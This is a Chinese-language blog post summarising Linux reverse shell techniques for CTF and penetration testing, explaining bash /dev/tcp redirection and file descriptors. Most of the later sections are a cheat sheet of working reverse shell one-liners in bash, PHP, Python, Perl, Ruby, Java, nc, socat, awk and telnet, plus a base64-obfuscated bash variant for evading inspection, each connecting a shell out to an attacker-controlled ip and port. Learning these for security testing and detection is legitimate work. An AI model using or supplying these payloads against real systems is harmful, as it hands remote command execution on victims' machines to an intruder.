首页 > 系统相关 >Linux反弹shell总结

Linux反弹shell总结

时间:2023-01-08 23:44:39浏览次数:56  
标签:总结 shell 重定向 ip tcp Linux port bash

前言

反弹shell(reverse shell)时控制端监听某TCP/UDP端口,受控端发起连接到控制端口,并将其命令行的输入输出转到控制端。

我们不管在平时的CTF比赛中,还是在做渗透测试,反弹shell经常会用到,使用反弹shell方便自己的机器连接目标机器,从而实现更好的控制

Bash反弹shell

/bin/bash -i >& /dev/tcp/ip/port 0>&1

我们来分析一下这条命令

  • bash -ibashlinux的一个常见的shell-i参数表示产生交互式的shell
  • /dev/tcp/ip/port:这是linux中的特殊文件,因为linux 一切皆文件,我们可以认为这个就是用来发起tcp连接的
  • >&:将标准错误输出重定向到标准输出中
  • 0>&1:将标准输入重定向到标准输出中

这里最不好理解的就是重定向,接下来我们来了解一下linux重定向

硬件设备和文件描述符

计算机的硬件设备有很多,在linux中一切皆文件,包括标准输入设备和标准输出设备。

为了表示和区分已经打开的文件,linux会给每个文件分配一个ID,这个ID是一个整数,被称为文件描述符

文件描述符 文件名 类型 硬件
0 stdin 标准输入文件 默认设备(键盘)
1 stdout 标准输出文件 默认设备(显示器)
2 stderr 标准错误输出文件 默认设备(显示器)

linux程序在执行任何形式的I/O操作时,都是在读取或者写入一个文件描述符。这三个文件默认情况下都是打开的,在重定向的过程中,可以直接使用文件描述符。

Linux Shell重定向

重定向主要分为两种(其他复杂的都是从这两种衍生而来的):

  1. 输入重定向<<<
  2. 输出重定向>>>

在输入重定向中,<表示标准输入重定向,<< tag表示将开始标记tag和结束标记tag直接的内容作为输入。

在输出重定向中,>表示标准输出重定向(直接覆盖文件),>>表示将输出进行追加文件。

我们通过分析bash反弹shell来学习重定向

/bin/bash -i >& /dev/tcp/ip/port 0>&1

使用>&其实是一种简略的写法,它和&>一样表示将标准错误输出重定向到标准输出中,我们还可以通过在末尾添加2>&1来实现这种效果

/bin/bash -i &> /dev/tcp/ip/port 0>&1

/bin/bash -i > /dev/tcp/ip/port 0>&1 2>&1

我们再来说一说最后的0>&1,这句话很好解释,就是将标准输入重定向给标准输出,在开头的我们已经将标准输出重定向到了/dev/tcp/ip/port上,然后再将标准输入也重定向到那,结果如下图

demo

所以就实现了输入和输出都在攻击者的机器上显示,从而实现了反弹shell的作用

这里提到的/dev/tty是控制终端设备的特殊文件

不仅这样,反弹shell还可以这样写

bash -i >& /dev/tcp/ip/port <&2
或者
bash -i >& /dev/tcp/ip/port 0<&2

最后的0<&2一开始觉得是将标准错误输出重定向到标准输入,但是如果这样解释的话,最后的结果应该是这样的

反弹shell2

显然这不是我们想要的结果,通过查阅资料,了解到0>&20<&2是相同的,都是将标准输入重定向到标准错误输出

查了很久,个人觉得这里的0>&2就是特殊用法,我们最规范的用法如下0<标准输入重定向

0< === <	// <就是标准输入重定向,效果于0<相同
1> === >	// >就是标准输出重定向,效果于1>相同

PS:个人觉得这里还挺绕的,在之后的学习中希望可以有更新的认知!

其他常用的反弹shell

PHP反弹shell

php -r '$sock=fsockopen("ip",9999);exec("/bin/sh -i <&3 >&3 2>&3");'

这里的文件描述符3就是前面由PHP创建的socket进程,然后将标准输入,标准输出,标准错误输出全部都重定向到该进程

Python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl反弹shell

perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby反弹shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.120","3333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';

ruby不需要调用系统的/bin/bash进行反弹shell,所以流量中只有执行的命令。

Java反弹shell

public class Revs {
public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

把该代码保存为Revs.java文件

javac Revs.java
java Revs

Java使用Runtime.getRuntime().exec()调用服务器命令进行反弹shell。

反弹shell的一些骚姿势

bash -c '{echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}'

exec 5<>/dev/tcp/ip/port

exec /bin/sh 0</dev/tcp/ip/port 1>&0 2>&0

exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line >&5 2>&1;done

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f

nc -e /bin/bash ip port

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:port

awk 'BEGIN{s="/inet/tcp/0/ip/port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

telnet ip port1 | /bin/bash | telnet ip port2

telnet的第一个port用来连接机器,第二个port用来连接bash

参考文章

Linux反弹shell的本质

反弹shell的几种姿势小结

linux反弹shell流量分析

标签:总结,shell,重定向,ip,tcp,Linux,port,bash
From: https://www.cnblogs.com/seizer/p/17035768.html

相关文章

  • 2022-2023-1 20221320 《计算机基础与程序设计》第十九周学习总结
    学期(2022-2023-1)学号(20221320)《计算机基础与程序设计》第十九周学习总结作业信息各项要求具体内容<班级的链接>2022-2023-1-计算机基础与程序设计<作业要......
  • PHP-Session利用总结
    PHP-Session简介基本概念session一般称作会话控制,session对象存储特定用户会话所需的属性及配置信息。我自己的理解来说:PHPsession是一个特殊的变量,它存储着我们与服......
  • 工作总结之安全问题篇
    目录工作总结之安全问题篇前言解决方法具体实现的代码解释一下部分不好懂的地方工作总结之安全问题篇前言对于我们公司的辣鸡项目还要跑安全测试,真是太抬举它了,谁会去攻......
  • 12.30-0108文献阅读总结
      本周是论文研读第一周,可是一篇都没有仔细读完,怎样才算仔细研读呢,心里的标准是这样的:  1、从一定程度上区分筛选出好论文;  2、对作者及研究机构分析,在大实验的官......
  • 二叉树递归模板总结
    101.对称二叉树boolisQ(TreeNode*root1,TreeNode*root2){if(root1==nullptr&&root2==nullptr){returntrue;}elseif(roo......
  • 腾讯TencentOS Linux修改主机名hostname的方法
    腾讯TencentOSLinux修改主机名hostname的方法正常情况下修改Linux服务器的主机名是很容易的,只需要hostnamectlset-hostname命令就可以完成,但是我们要知其然知其所以然,L......
  • Xshell 批量删除会话
    前言由于我总是创建会话忘记删除,所以找了找怎么可以快速的删除。 方法如下先打开已有的会话,随后再点开会话文件夹。  xsh后缀的就是会话,全选删除即可 ......
  • 腾讯云TencentOS Linux 服务器操作系统下使用hostnamectl设置大写主机名
    腾讯云TencentOSServer服务器操作系统下使用hostnamectl设置大写主机名。TencentOSServer镜像版本目前腾讯云上有3款TencentOSServer镜像供用户选择:镜像版本说明Tencen......
  • The shell
    Theshellshell是什么?如今的计算机有着多种多样的交互接口让我们可以进行指令的的输入,从炫酷的图像用户界面(GUI),语音输入甚至是AR/VR都已经无处不在。这些交互接口可以......
  • 工作总结之线程池和原子类篇
    目录工作总结之线程池和原子类篇前言解决思路具体实现代码期间遇到的问题有待优化的地方工作总结之线程池和原子类篇前言起因是,项目里面的同步代码的执行时间过久(20小......